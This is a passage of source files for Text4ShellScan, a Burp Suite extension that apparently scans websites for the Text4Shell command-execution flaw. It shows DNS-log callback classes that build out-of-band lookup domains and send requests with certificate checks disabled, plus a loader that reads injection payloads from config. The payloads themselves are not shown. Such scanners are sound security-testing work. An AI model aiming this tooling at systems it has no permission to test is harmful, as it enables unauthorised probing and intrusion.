getParameters(){
75 | return this.parameters;
76 | }
77 |
78 | }
79 |
--------------------------------------------------------------------------------
/src/main/java/burp/Application/ExtensionInterface/AAppExtension.java:
--------------------------------------------------------------------------------
1 | package burp.Application.ExtensionInterface;
2 |
3 | import burp.IHttpRequestResponse;
4 |
5 | /**
6 | * Application扩展的抽象类
7 | * 所有的 Application扩展 都要继承它并实现所有的接口,才能正常运行
8 | */
9 | public abstract class AAppExtension implements IAppExtension {
10 | private String extensionName = "";
11 |
12 | private Boolean isRegister = false;
13 |
14 | private Boolean isIssues = false;
15 |
16 | private IHttpRequestResponse httpRequestResponse;
17 |
18 | /**
19 | * 设置扩展名称 (必须的)
20 | *
21 | * @param name
22 | */
23 | protected void setExtensionName(String name) {
24 | if (name == null || name.isEmpty()) {
25 | throw new IllegalArgumentException("Application-扩展名称不能为空");
26 | }
27 | this.extensionName = name;
28 | }
29 |
30 | /**
31 | * 获取扩展名称
32 | *
33 | * @return String
34 | */
35 | @Override
36 | public String getExtensionName() {
37 | return this.extensionName;
38 | }
39 |
40 | /**
41 | * 注册插件 (必须的)
42 | * 扩展在运行之前必须调用该接口注册, 否则将无法调用本类的其他方法
43 | */
44 | protected void registerExtension() {
45 | this.isRegister = true;
46 | }
47 |
48 | /**
49 | * 是否注册了该扩展
50 | * true 注册, false 未注册
51 | * 注: 未注册的扩展禁止执行
52 | *
53 | * @return Boolean
54 | */
55 | @Override
56 | public Boolean isRegister() {
57 | return this.isRegister;
58 | }
59 |
60 | /**
61 | * 设置问题状态
62 | */
63 | protected void setIssueState(Boolean state) {
64 | this.isIssues = state;
65 | }
66 |
67 | /**
68 | * 是否有问题
69 | *
70 | * @return
71 | */
72 | @Override
73 | public Boolean isIssue() {
74 | return this.isIssues;
75 | }
76 |
77 | /**
78 | * 设置http请求与响应对象
79 | *
80 | * @param httpRequestResponse
81 | */
82 | protected void setHttpRequestResponse(IHttpRequestResponse httpRequestResponse) {
83 | this.httpRequestResponse = httpRequestResponse;
84 | }
85 |
86 | /**
87 | * 获取http请求与响应对象
88 | *
89 | * @return IHttpRequestResponse
90 | */
91 | @Override
92 | public IHttpRequestResponse getHttpRequestResponse() {
93 | return this.httpRequestResponse;
94 | }
95 | }
96 |
--------------------------------------------------------------------------------
/src/main/java/burp/CustomScanIssue.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import java.net.URL;
4 |
5 | public class CustomScanIssue implements IScanIssue {
6 | private URL url;
7 | private String issueName;
8 | private int issueType;
9 | private String severity;
10 | private String confidence;
11 | private String issueBackground;
12 | private String remediationBackground;
13 | private String issueDetail;
14 | private String remediationDetail;
15 | private IHttpRequestResponse[] httpMessages;
16 | private IHttpService httpService;
17 |
18 | public CustomScanIssue(
19 | URL url,
20 | String issueName,
21 | int issueType,
22 | String severity,
23 | String confidence,
24 | String issueBackground,
25 | String remediationBackground,
26 | String issueDetail,
27 | String remediationDetail,
28 | IHttpRequestResponse[] httpMessages,
29 | IHttpService httpService) {
30 | this.url = url;
31 | this.issueName = issueName;
32 | this.issueType = issueType;
33 | this.severity = severity;
34 | this.confidence = confidence;
35 | this.issueBackground = issueBackground;
36 | this.remediationBackground = remediationBackground;
37 | this.issueDetail = issueDetail;
38 | this.remediationDetail = remediationDetail;
39 | this.httpMessages = httpMessages;
40 | this.httpService = httpService;
41 | }
42 |
43 | @Override
44 | public URL getUrl() {
45 | return this.url;
46 | }
47 |
48 | @Override
49 | public String getIssueName() {
50 | return this.issueName;
51 | }
52 |
53 | @Override
54 | public int getIssueType() {
55 | return this.issueType;
56 | }
57 |
58 | @Override
59 | public String getSeverity() {
60 | return this.severity;
61 | }
62 |
63 | @Override
64 | public String getConfidence() {
65 | return this.confidence;
66 | }
67 |
68 | @Override
69 | public String getIssueBackground() {
70 | return this.issueBackground;
71 | }
72 |
73 | @Override
74 | public String getRemediationBackground() {
75 | return this.remediationBackground;
76 | }
77 |
78 | @Override
79 | public String getIssueDetail() {
80 | return this.issueDetail;
81 | }
82 |
83 | @Override
84 | public String getRemediationDetail() {
85 | return this.remediationDetail;
86 | }
87 |
88 | @Override
89 | public IHttpRequestResponse[] getHttpMessages() {
90 | return this.httpMessages;
91 | }
92 |
93 | @Override
94 | public IHttpService getHttpService() {
95 | return this.httpService;
96 | }
97 | }
98 |
--------------------------------------------------------------------------------
/src/main/java/burp/DnsLogModule/ExtensionInterface/DnsLogAbstract.java:
--------------------------------------------------------------------------------
1 | package burp.DnsLogModule.ExtensionInterface;
2 |
3 | import com.github.kevinsawicki.http.HttpRequest;
4 |
5 | public abstract class DnsLogAbstract implements DnsLogInterface {
6 | private String extensionName = "";
7 |
8 | private String temporaryDomainName;
9 |
10 | /**
11 | * 设置扩展名称 (必须的)
12 | *
13 | * @param value
14 | */
15 | protected void setExtensionName(String value) {
16 | if (value == null || value.isEmpty()) {
17 | throw new IllegalArgumentException("DnsLog扩展-扩展名称不能为空");
18 | }
19 | this.extensionName = value;
20 | }
21 |
22 | /**
23 | * 获取扩展名称
24 | *
25 | * @return String
26 | */
27 | @Override
28 | public String getExtensionName() {
29 | return this.extensionName;
30 | }
31 |
32 | /**
33 | * 设置临时域名
34 | *
35 | * @param value
36 | */
37 | protected void setTemporaryDomainName(String value) {
38 | this.temporaryDomainName = value;
39 | }
40 |
41 | /**
42 | * 获取临时域名
43 | *
44 | * @return String
45 | */
46 | @Override
47 | public String getTemporaryDomainName() {
48 | return this.temporaryDomainName;
49 | }
50 |
51 | /**
52 | * 发送访问日志
53 | *
54 | * 根据传进来的 value 进行域名拼接, 接着以http get请求进行访问
55 | * 例如:
56 | * 临时域名: fs.dnslog.cn
57 | * value: testlog
58 | * 拼接:http://testlog.fs.dnslog.cn 然后以http get请求进行访问,结束
59 | *
60 | * @param value
61 | */
62 | @Override
63 | public void sendAccessLog(String value) {
64 | if (this.getTemporaryDomainName() == null || this.getTemporaryDomainName().isEmpty()) {
65 | throw new IllegalArgumentException("临时域名获取失败, 无法发送日志");
66 | }
67 |
68 | if (value == null || value.isEmpty()) {
69 | throw new IllegalArgumentException("sendAccessLog()方法, value参数不能为空");
70 | }
71 |
72 | String domainName = "http://" + value + "." + this.getTemporaryDomainName();
73 | String userAgent = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36";
74 |
75 | HttpRequest request = HttpRequest.get(domainName);
76 | request.trustAllCerts();
77 | request.trustAllHosts();
78 | request.followRedirects(false);
79 | request.header("User-Agent", userAgent);
80 | request.header("Accept", "*/*");
81 | request.readTimeout(3 * 1000);
82 | request.connectTimeout(3 * 1000);
83 |
84 | try {
85 | request.ok();
86 | } catch (Exception e) {
87 | // 这里选择不处理, 因为发送过去的域名肯定是连接不到的
88 | // 所以必定爆错, 因此直接屏蔽该接口的爆错即可
89 | }
90 | }
91 | }
92 |
--------------------------------------------------------------------------------
/src/main/java/burp/Bootstrap/CustomBurpHelpers.java:
--------------------------------------------------------------------------------
1 | package burp.Bootstrap;
2 |
3 | import java.io.File;
4 | import java.io.UnsupportedEncodingException;
5 |
6 | import burp.*;
7 |
8 | public class CustomBurpHelpers {
9 | private IBurpExtenderCallbacks callbacks;
10 | private IExtensionHelpers helpers;
11 |
12 | public CustomBurpHelpers(IBurpExtenderCallbacks callbacks) {
13 | this.callbacks = callbacks;
14 | this.helpers = callbacks.getHelpers();
15 | }
16 |
17 | /**
18 | * 获取-插件运行路径
19 | *
20 | * @return
21 | */
22 | public String getExtensionFilePath() {
23 | String path = "";
24 | Integer lastIndex = this.callbacks.getExtensionFilename().lastIndexOf(File.separator);
25 | path = this.callbacks.getExtensionFilename().substring(0, lastIndex) + File.separator;
26 | return path;
27 | }
28 |
29 | /**
30 | * 获取请求的Body内容
31 | *
32 | * @return String
33 | */
34 | public String getHttpRequestBody(byte[] request) {
35 | IRequestInfo requestInfo = this.helpers.analyzeRequest(request);
36 |
37 | int httpRequestBodyOffset = requestInfo.getBodyOffset();
38 | int httpRequestBodyLength = request.length - httpRequestBodyOffset;
39 |
40 | String httpRequestBody = null;
41 | try {
42 | httpRequestBody = new String(request, httpRequestBodyOffset, httpRequestBodyLength, "UTF-8");
43 | } catch (UnsupportedEncodingException e) {
44 | throw new RuntimeException(e);
45 | }
46 | return httpRequestBody;
47 | }
48 |
49 | /**
50 | * 获取请求的Body内容
51 | *
52 | * @return String
53 | */
54 | public String getHttpRequestBodyIsNullOrNo(byte[] request) {
55 | IRequestInfo requestInfo = this.helpers.analyzeRequest(request);
56 |
57 | int httpRequestBodyOffset = requestInfo.getBodyOffset();
58 | int httpRequestBodyLength = request.length - httpRequestBodyOffset;
59 |
60 | if(httpRequestBodyLength == 0){
61 | return null;
62 | }
63 | String httpRequestBody = null;
64 | try {
65 | httpRequestBody = new String(request, httpRequestBodyOffset, httpRequestBodyLength, "UTF-8");
66 | } catch (UnsupportedEncodingException e) {
67 | throw new RuntimeException(e);
68 | }
69 | return httpRequestBody;
70 | }
71 |
72 | /**
73 | * 获取响应的Body内容
74 | *
75 | * @return String
76 | */
77 | public String getHttpResponseBody(byte[] response) {
78 | IResponseInfo responseInfo = this.helpers.analyzeResponse(response);
79 |
80 | int httpResponseBodyOffset = responseInfo.getBodyOffset();
81 | int httpResponseBodyLength = response.length - httpResponseBodyOffset;
82 |
83 | String httpResponseBody = null;
84 | try {
85 | httpResponseBody = new String(response, httpResponseBodyOffset, httpResponseBodyLength, "UTF-8");
86 | } catch (UnsupportedEncodingException e) {
87 | throw new RuntimeException(e);
88 | }
89 | return httpResponseBody;
90 | }
91 | }
--------------------------------------------------------------------------------
/src/main/java/burp/Bootstrap/CustomBurpUrl.java:
--------------------------------------------------------------------------------
1 | package burp.Bootstrap;
2 |
3 | import java.net.URL;
4 | import java.io.PrintWriter;
5 | import java.net.MalformedURLException;
6 |
7 | import burp.IExtensionHelpers;
8 | import burp.IHttpRequestResponse;
9 | import burp.IBurpExtenderCallbacks;
10 |
11 | public class CustomBurpUrl {
12 | private IBurpExtenderCallbacks callbacks;
13 | private IExtensionHelpers helpers;
14 |
15 | public PrintWriter stderr;
16 |
17 | private IHttpRequestResponse requestResponse;
18 |
19 | public CustomBurpUrl(IBurpExtenderCallbacks callbacks, IHttpRequestResponse requestResponse) {
20 | this.callbacks = callbacks;
21 | this.helpers = callbacks.getHelpers();
22 | this.stderr = new PrintWriter(callbacks.getStderr(), true);
23 |
24 | this.requestResponse = requestResponse;
25 | }
26 |
27 | public IHttpRequestResponse requestResponse() {
28 | return this.requestResponse;
29 | }
30 |
31 | /**
32 | * 获取-请求协议
33 | *
34 | * @return
35 | */
36 | public String getRequestProtocol() {
37 | return this.requestResponse.getHttpService().getProtocol();
38 | }
39 |
40 | /**
41 | * 获取-请求主机
42 | *
43 | * @return
44 | */
45 | public String getRequestHost() {
46 | return this.requestResponse.getHttpService().getHost();
47 | }
48 |
49 | /**
50 | * 获取-请求端口
51 | *
52 | * @return
53 | */
54 | public int getRequestPort() {
55 | return this.requestResponse.getHttpService().getPort();
56 | }
57 |
58 | /**
59 | * 获取-请求路径
60 | *
61 | * @return
62 | */
63 | public String getRequestPath() {
64 | return this.helpers.analyzeRequest(this.requestResponse).getUrl().getPath();
65 | }
66 |
67 | /**
68 | * 获取-请求参数
69 | *
70 | * @return
71 | */
72 | public String getRequestQuery() {
73 | return this.helpers.analyzeRequest(this.requestResponse).getUrl().getQuery();
74 | }
75 |
76 | /**
77 | * 获取-请求域名名称
78 | *
79 | * @return
80 | */
81 | public String getRequestDomainName() {
82 | if (this.getRequestPort() == 80 || this.getRequestPort() == 443) {
83 | return this.getRequestProtocol() + "://" + this.getRequestHost();
84 | } else {
85 | return this.getRequestProtocol() + "://" + this.getRequestHost() + ":" + this.getRequestPort();
86 | }
87 | }
88 |
89 | /**
90 | * 获取-获取http请求url
91 | *
92 | * @return
93 | */
94 | public URL getHttpRequestUrl() {
95 | try {
96 | if (this.getRequestQuery() == null) {
97 | return new URL(this.getRequestDomainName() + this.getRequestPath());
98 | } else {
99 | return new URL(this.getRequestDomainName() + this.getRequestPath() + "?" + this.getRequestQuery());
100 | }
101 | } catch (MalformedURLException e) {
102 | e.printStackTrace(this.stderr);
103 | }
104 | return null;
105 | }
106 | }
--------------------------------------------------------------------------------
/src/main/java/burp/DnsLogModule/ExtensionMethod/DnsLogPrivate.java:
--------------------------------------------------------------------------------
1 | package burp.DnsLogModule.ExtensionMethod;
2 |
3 | import burp.Bootstrap.CustomHelpers;
4 | import burp.Bootstrap.YamlReader;
5 | import burp.DnsLogModule.ExtensionInterface.DnsLogAbstract;
6 | import burp.IBurpExtenderCallbacks;
7 | import com.github.kevinsawicki.http.HttpRequest;
8 |
9 | public class DnsLogPrivate extends DnsLogAbstract {
10 | private IBurpExtenderCallbacks callbacks;
11 |
12 | private String dnslogDomainName;
13 |
14 | private YamlReader yamlReader;
15 |
16 | private String key;
17 | private String dnsDomain;
18 | private String Identifier;
19 |
20 | public DnsLogPrivate(IBurpExtenderCallbacks callbacks) {
21 | this.callbacks = callbacks;
22 |
23 | this.yamlReader = YamlReader.getInstance(callbacks);
24 | this.dnslogDomainName = this.yamlReader.getString("dnsLogModule.other");
25 |
26 | this.setExtensionName("DnsLogPrivate");
27 |
28 | String other = this.yamlReader.getString("dnsLogModule.other");
29 |
30 | this.key = CustomHelpers.randomStr(8);
31 | this.dnsDomain = CustomHelpers.getParam(other, "DnsDomain").trim();
32 | this.Identifier = CustomHelpers.getParam(other, "Identifier").trim();
33 |
34 | this.init();
35 | }
36 |
37 | private void init() {
38 | if (this.dnsDomain == null || this.dnsDomain.length() <= 0) {
39 | throw new RuntimeException(String.format("%s 扩展-dnsDomain参数不能为空", this.getExtensionName()));
40 | }
41 | if (this.Identifier == null || this.Identifier.length() <= 0) {
42 | throw new RuntimeException(String.format("%s 扩展-Identifier参数不能为空", this.getExtensionName()));
43 | }
44 |
45 | String temporaryDomainName = this.key + "." + this.dnsDomain;
46 | this.setTemporaryDomainName(temporaryDomainName);
47 | }
48 |
49 | @Override
50 | public String getBodyContent() {
51 | String url = String.format("%s", this.Identifier);
52 | String userAgent = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36";
53 | HttpRequest request = HttpRequest.get(url);
54 | request.trustAllCerts();
55 | request.trustAllHosts();
56 | request.followRedirects(false);
57 | request.header("User-Agent", userAgent);
58 | request.header("Accept", "*/*");
59 | request.readTimeout(30 * 1000);
60 | request.connectTimeout(30 * 1000);
61 |
62 | String body = request.body();
63 |
64 | if (!request.ok()) {
65 | throw new RuntimeException(
66 | String.format(
67 | "%s 扩展-%s内容有异常,异常内容: %s",
68 | this.getExtensionName(),
69 | this.dnslogDomainName,
70 | body
71 | )
72 | );
73 | }
74 |
75 | if (body == null) {
76 | return null;
77 | }
78 | return body;
79 | }
80 |
81 | @Override
82 | public String export() {
83 | return null;
84 | }
85 |
86 | @Override
87 | public void consoleExport() {
88 |
89 | }
90 | }
91 |
--------------------------------------------------------------------------------
/src/main/java/burp/Bootstrap/CustomHelpers.java:
--------------------------------------------------------------------------------
1 | package burp.Bootstrap;
2 |
3 | import java.util.*;
4 |
5 | public class CustomHelpers {
6 | /**
7 | * 随机取若干个字符
8 | *
9 | * @param number
10 | * @return String
11 | */
12 | public static String randomStr(int number) {
13 | StringBuffer s = new StringBuffer();
14 | char[] stringArray = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i',
15 | 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u',
16 | 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6',
17 | '7', '8', '9'};
18 | Random random = new Random();
19 | for (int i = 0; i < number; i++) {
20 | char num = stringArray[random.nextInt(stringArray.length)];
21 | s.append(num);
22 | }
23 | return s.toString();
24 | }
25 |
26 | /**
27 | * 获取精确到秒的时间戳
28 | *
29 | * @param date
30 | * @return Integer
31 | */
32 | public static Integer getSecondTimestamp(Date date) {
33 | if (null == date) {
34 | return 0;
35 | }
36 | String timestamp = String.valueOf(date.getTime() / 1000);
37 | return Integer.valueOf(timestamp);
38 | }
39 |
40 | public static boolean isJson(String str) {
41 | boolean result = false;
42 | if (str != null && !str.isEmpty()) {
43 | str = str.trim();
44 | if (str.startsWith("{") && str.endsWith("}")) {
45 | result = true;
46 | } else if (str.startsWith("[") && str.endsWith("]")) {
47 | result = true;
48 | }
49 | }
50 | return result;
51 | }
52 |
53 | /**
54 | * 获取参数数据
55 | * 例如:
56 | * getParam("token=xx;Identifier=xxx;", "token"); 返回: xx
57 | *
58 | * @param d 被查找的数据
59 | * @param paramName 要查找的字段
60 | * @return
61 | */
62 | public static String getParam(final String d, final String paramName) {
63 | if (d == null || d.length() == 0)
64 | return null;
65 |
66 | String value = "test=test;" + d;
67 |
68 | final int length = value.length();
69 | int start = value.indexOf(';') + 1;
70 | if (start == 0 || start == length)
71 | return null;
72 |
73 | int end = value.indexOf(';', start);
74 | if (end == -1)
75 | end = length;
76 |
77 | while (start < end) {
78 | int nameEnd = value.indexOf('=', start);
79 | if (nameEnd != -1 && nameEnd < end
80 | && paramName.equals(value.substring(start, nameEnd).trim())) {
81 | String paramValue = value.substring(nameEnd + 1, end).trim();
82 | int valueLength = paramValue.length();
83 | if (valueLength != 0)
84 | if (valueLength > 2 && '"' == paramValue.charAt(0)
85 | && '"' == paramValue.charAt(valueLength - 1))
86 | return paramValue.substring(1, valueLength - 1);
87 | else
88 | return paramValue;
89 | }
90 |
91 | start = end + 1;
92 | end = value.indexOf(';', start);
93 | if (end == -1)
94 | end = length;
95 | }
96 |
97 | return null;
98 | }
99 | }
--------------------------------------------------------------------------------
/src/main/java/burp/Bootstrap/YamlReader.java:
--------------------------------------------------------------------------------
1 | package burp.Bootstrap;
2 |
3 | import java.util.Map;
4 | import java.util.List;
5 | import java.util.HashMap;
6 | import java.util.LinkedHashMap;
7 | import java.io.File;
8 | import java.io.FileInputStream;
9 | import java.io.FileNotFoundException;
10 | import java.io.PrintWriter;
11 |
12 | import org.yaml.snakeyaml.Yaml;
13 |
14 | import burp.IBurpExtenderCallbacks;
15 |
16 | public class YamlReader {
17 | private static YamlReader instance;
18 |
19 | private static Map> properties = new HashMap<>();
20 |
21 | private YamlReader(IBurpExtenderCallbacks callbacks) throws FileNotFoundException {
22 | CustomBurpHelpers customBurpHelpers = new CustomBurpHelpers(callbacks);
23 | String c = customBurpHelpers.getExtensionFilePath() + "resources/config.yml";
24 | File f = new File(c);
25 | properties = new Yaml().load(new FileInputStream(f));
26 | }
27 |
28 | public static synchronized YamlReader getInstance(IBurpExtenderCallbacks callbacks) {
29 | if (instance == null) {
30 | try {
31 | instance = new YamlReader(callbacks);
32 | } catch (FileNotFoundException e) {
33 | e.printStackTrace(new PrintWriter(callbacks.getStderr(), true));
34 | }
35 | }
36 | return instance;
37 | }
38 |
39 | /**
40 | * 获取yaml属性
41 | * 可通过 "." 循环调用
42 | * 例如这样调用: YamlReader.getInstance().getValueByKey("a.b.c.d")
43 | *
44 | * @param key
45 | * @return
46 | */
47 | public Object getValueByKey(String key) {
48 | String separator = ".";
49 | String[] separatorKeys = null;
50 | if (key.contains(separator)) {
51 | separatorKeys = key.split("\\.");
52 | } else {
53 | return properties.get(key);
54 | }
55 | Map> finalValue = new HashMap<>();
56 | for (int i = 0; i < separatorKeys.length - 1; i++) {
57 | if (i == 0) {
58 | finalValue = (Map) properties.get(separatorKeys[i]);
59 | continue;
60 | }
61 | if (finalValue == null) {
62 | break;
63 | }
64 | finalValue = (Map) finalValue.get(separatorKeys[i]);
65 | }
66 | return finalValue == null ? null : finalValue.get(separatorKeys[separatorKeys.length - 1]);
67 | }
68 |
69 | public String getString(String key) {
70 | return String.valueOf(this.getValueByKey(key));
71 | }
72 |
73 | public String getString(String key, String defaultValue) {
74 | if (null == this.getValueByKey(key)) {
75 | return defaultValue;
76 | }
77 | return String.valueOf(this.getValueByKey(key));
78 | }
79 |
80 | public Boolean getBoolean(String key) {
81 | return (boolean) this.getValueByKey(key);
82 | }
83 |
84 | public Integer getInteger(String key) {
85 | return (Integer) this.getValueByKey(key);
86 | }
87 |
88 | public double getDouble(String key) {
89 | return (double) this.getValueByKey(key);
90 | }
91 |
92 | public List getStringList(String key) {
93 | return (List) this.getValueByKey(key);
94 | }
95 |
96 | public LinkedHashMap getLinkedHashMap(String key) {
97 | return (LinkedHashMap) this.getValueByKey(key);
98 | }
99 | }
--------------------------------------------------------------------------------
/src/main/java/burp/DnsLogModule/ExtensionMethod/BurpDnsLog.java:
--------------------------------------------------------------------------------
1 | package burp.DnsLogModule.ExtensionMethod;
2 |
3 | import java.util.Map;
4 | import java.util.List;
5 | import java.util.Arrays;
6 | import java.util.Iterator;
7 | import java.io.PrintWriter;
8 |
9 | import burp.IExtensionHelpers;
10 | import burp.IBurpExtenderCallbacks;
11 | import burp.IBurpCollaboratorInteraction;
12 | import burp.IBurpCollaboratorClientContext;
13 | import burp.DnsLogModule.ExtensionInterface.DnsLogAbstract;
14 |
15 | public class BurpDnsLog extends DnsLogAbstract {
16 | private IBurpExtenderCallbacks callbacks;
17 | private IExtensionHelpers helpers;
18 |
19 | private IBurpCollaboratorClientContext burpCollaboratorClientContext;
20 |
21 | private String dnslogContent = null;
22 |
23 | public BurpDnsLog(IBurpExtenderCallbacks callbacks) {
24 | this.callbacks = callbacks;
25 | this.helpers = callbacks.getHelpers();
26 |
27 | this.burpCollaboratorClientContext = callbacks.createBurpCollaboratorClientContext();
28 |
29 | setExtensionName("BurpDnsLog");
30 |
31 | this.init();
32 | }
33 |
34 | private void init() {
35 | // 通过burp组建获取临时dnslog域名
36 | String temporaryDomainName = this.burpCollaboratorClientContext.generatePayload(true);
37 | if (temporaryDomainName == null || temporaryDomainName.length() <= 0) {
38 | throw new RuntimeException(
39 | String.format(
40 | "%s 扩展-获取临时域名失败, 请检查本机是否可使用burp自带的dnslog客户端",
41 | this.getExtensionName()));
42 | }
43 | this.setTemporaryDomainName(temporaryDomainName);
44 | }
45 |
46 | @Override
47 | public String getBodyContent() {
48 | List collaboratorInteractions =
49 | this.burpCollaboratorClientContext.fetchCollaboratorInteractionsFor(this.getTemporaryDomainName());
50 | if (collaboratorInteractions != null && !collaboratorInteractions.isEmpty()) {
51 | Iterator iterator = collaboratorInteractions.iterator();
52 |
53 | Map properties = iterator.next().getProperties();
54 | if (properties.size() == 0) {
55 | return this.dnslogContent;
56 | }
57 |
58 | String content = null;
59 | for (String property : properties.keySet()) {
60 | String text = properties.get(property);
61 | if (property.equals("raw_query")) {
62 | text = new String(this.helpers.base64Decode(text));
63 | }
64 | content += text + " ";
65 | }
66 | this.dnslogContent += content;
67 | return this.dnslogContent;
68 | }
69 | return this.dnslogContent;
70 | }
71 |
72 | @Override
73 | public String export() {
74 | String str1 = String.format("
============dnsLogExtensionDetail============
");
75 | String str2 = String.format("ExtensionMethod: %s
", this.getExtensionName());
76 | String str3 = String.format("dnsLogTemporaryDomainName: %s
", this.getTemporaryDomainName());
77 | String str4 = String.format("=====================================
");
78 |
79 | String detail = str1 + str2 + str3 + str4;
80 |
81 | return detail;
82 | }
83 |
84 | @Override
85 | public void consoleExport() {
86 | PrintWriter stdout = new PrintWriter(this.callbacks.getStdout(), true);
87 |
88 | stdout.println("");
89 | stdout.println("===========dnsLog扩展详情===========");
90 | stdout.println("你好呀~ (≧ω≦*)喵~");
91 | stdout.println(String.format("被调用的插件: %s", this.getExtensionName()));
92 | stdout.println(String.format("dnsLog临时域名: %s", this.getTemporaryDomainName()));
93 | stdout.println("===================================");
94 | stdout.println("");
95 | }
96 | }
97 |
--------------------------------------------------------------------------------
/src/main/java/burp/Application/RemoteCmdExtension/RemoteCmd.java:
--------------------------------------------------------------------------------
1 | package burp.Application.RemoteCmdExtension;
2 |
3 | import java.util.Date;
4 | import java.util.List;
5 | import java.lang.reflect.Constructor;
6 | import java.lang.reflect.InvocationTargetException;
7 |
8 | import burp.Bootstrap.GlobalVariableReader;
9 | import burp.IBurpExtenderCallbacks;
10 |
11 | import burp.DnsLogModule.DnsLog;
12 | import burp.Bootstrap.YamlReader;
13 | import burp.Bootstrap.BurpAnalyzedRequest;
14 | import burp.Application.ExtensionInterface.IAppExtension;
15 |
16 | public class RemoteCmd {
17 | private GlobalVariableReader globalVariableReader;
18 |
19 | private IBurpExtenderCallbacks callbacks;
20 |
21 | private BurpAnalyzedRequest analyzedRequest;
22 |
23 | private DnsLog dnsLog;
24 |
25 | private YamlReader yamlReader;
26 |
27 | private IAppExtension remoteCmd;
28 |
29 | // 该模块启动日期
30 | private Date startDate = new Date();
31 |
32 | public RemoteCmd(
33 | GlobalVariableReader globalVariableReader,
34 | IBurpExtenderCallbacks callbacks,
35 | BurpAnalyzedRequest analyzedRequest,
36 | DnsLog dnsLog,
37 | YamlReader yamlReader,
38 | String callClassName) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
39 | this.globalVariableReader = globalVariableReader;
40 |
41 | this.callbacks = callbacks;
42 | this.analyzedRequest = analyzedRequest;
43 |
44 | this.dnsLog = dnsLog;
45 |
46 | this.yamlReader = yamlReader;
47 | this.init(callClassName);
48 | }
49 |
50 | private void init(String callClassName) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
51 | if (callClassName == null || callClassName.length() <= 0) {
52 | throw new IllegalArgumentException("Application.RemoteCmdExtension-请输入要调用的插件名称");
53 | }
54 |
55 | List payloads = this.yamlReader.getStringList("application.remoteCmdExtension.config.payloads");
56 | if (payloads.size() == 0) {
57 | throw new IllegalArgumentException("Application.RemoteCmdExtension-获取的payloads为空,无法正常运行");
58 | }
59 |
60 | Class c = Class.forName("burp.Application.RemoteCmdExtension.ExtensionMethod." + callClassName);
61 | Constructor cConstructor = c.getConstructor(
62 | GlobalVariableReader.class,
63 | IBurpExtenderCallbacks.class,
64 | BurpAnalyzedRequest.class,
65 | DnsLog.class,
66 | YamlReader.class,
67 | List.class,
68 | Date.class,
69 | Integer.class);
70 | this.remoteCmd = (IAppExtension) cConstructor.newInstance(
71 | this.globalVariableReader,
72 | this.callbacks,
73 | this.analyzedRequest,
74 | this.dnsLog,
75 | this.yamlReader,
76 | payloads,
77 | this.startDate,
78 | this.getMaxExecutionTime());
79 |
80 | if (!this.remoteCmd.isRegister()) {
81 | throw new IllegalArgumentException("该应用模块未注册,无法使用");
82 | }
83 |
84 | if (this.remoteCmd.getExtensionName().isEmpty()) {
85 | throw new IllegalArgumentException("请为该该应用模块-设置扩展名称");
86 | }
87 | }
88 |
89 | public IAppExtension run() {
90 | return this.remoteCmd;
91 | }
92 |
93 | /**
94 | * 程序最大执行时间,单位为秒
95 | * 会根据payload的添加而添加
96 | *
97 | * @return
98 | */
99 | private Integer getMaxExecutionTime() {
100 | Integer maxExecutionTime = this.yamlReader.getInteger("application.remoteCmdExtension.config.maxExecutionTime");
101 | Integer keySize = this.yamlReader.getStringList("application.remoteCmdExtension.config.payloads").size();
102 | maxExecutionTime += keySize * 6;
103 | return maxExecutionTime;
104 | }
105 | }
106 |
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | main.java.burp
8 | Text4ShellScan
9 | 1.4
10 |
11 |
12 |
13 |
14 | org.apache.maven.plugins
15 | maven-compiler-plugin
16 | 3.7.0
17 |
18 | 1.8
19 | 1.8
20 | UTF-8
21 |
22 |
23 |
24 |
25 | maven-assembly-plugin
26 |
27 |
28 | jar-with-dependencies
29 |
30 |
31 |
32 | burp.BurpExtender
33 |
34 |
35 |
36 |
37 |
38 | make-assembly
39 | package
40 |
41 | single
42 |
43 |
44 |
45 |
46 |
47 | org.apache.maven.plugins
48 | maven-resources-plugin
49 | 3.2.0
50 |
51 |
52 | copy-resources
53 | package
54 |
55 | copy-resources
56 |
57 |
58 | ${project.build.directory}/resources
59 |
60 |
61 | src/main/resources
62 |
63 | **/*
64 |
65 | true
66 |
67 |
68 | UTF-8
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 | net.portswigger.burp.extender
80 | burp-extender-api
81 | 2.1
82 |
83 |
84 |
85 |
86 | com.github.kevinsawicki
87 | http-request
88 | 6.0
89 |
90 |
91 |
92 | dom4j
93 | dom4j
94 | 1.6.1
95 |
96 |
97 |
98 |
99 | org.yaml
100 | snakeyaml
101 | 1.32
102 |
103 |
104 |
105 | com.alibaba
106 | fastjson
107 | 1.2.83
108 |
109 |
110 |
111 |
--------------------------------------------------------------------------------
/src/main/resources/config.yml:
--------------------------------------------------------------------------------
1 | # 插件启动项
2 | isStart: true
3 |
4 | # 消息等级
5 | # 用于插件扫描队列界面的显示
6 | # ALL = 显示所有消息
7 | # INFO = 只显示一般信息, 会屏蔽 "request no json / request json no eligible"这两个信息
8 | # PIVOTAL = 只显示关键信息,只显示所有前缀带"[+]/[-]/[x]"的信息
9 | # 注: 乱输等于 PIVOTAL
10 | messageLevel: "ALL"
11 |
12 | # 扫描配置
13 | scan:
14 | # 问题数量
15 | # 表示可以接收同一个站点多少个问题个数
16 | # 超过次数以后就不在对该站点进行扫描了
17 | # 0 表示无限次接收
18 | issueNumber: 1
19 | # 站点扫描次数
20 | # 超过次数以后就不在对该站点进行扫描了
21 | # 0 表示无限次扫描
22 | siteScanNumber: 0
23 | # 域名扫描规则
24 | domainName:
25 | # 域名黑名单
26 | # 注: 黑名单优先级最高
27 | # 注: 为空表示关闭该功能
28 | # 使用规则:
29 | # 1. 过滤某个域名: www.domain1.com
